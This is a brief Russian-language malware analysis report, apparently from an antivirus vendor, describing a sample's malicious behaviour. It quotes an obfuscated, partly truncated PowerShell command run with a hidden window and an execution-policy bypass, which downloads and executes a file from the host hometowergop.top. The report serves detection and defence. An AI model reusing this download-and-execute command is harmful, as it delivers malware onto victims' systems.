Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoweRshelL^.E^X^E -^eX^e^c^Uti^o^nPo^Li^c^y BYpASs^ -n^o^P^rOfil^E -^W^In^do^wSt^Y^LE^ ^HIDdEN ^(nEW-^O^b^Je^Ct syst^EM.net.WeBcLIe^N^t)^.D^own^L^OAd^File^('http://hometo...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoweRshelL^.E^X^E -^eX^e^c^Uti^o^nPo^Li^c^y BYpASs^ -n^o^P^rOfil^E -^W^In^do^wSt^Y^LE^ ^HIDdEN ^(nEW-^O^b^Je^Ct syst^EM.net.WeBcLIe^N^t)^.D^own^L^OAd^File^('http://hometo...' (со скрытым окном)
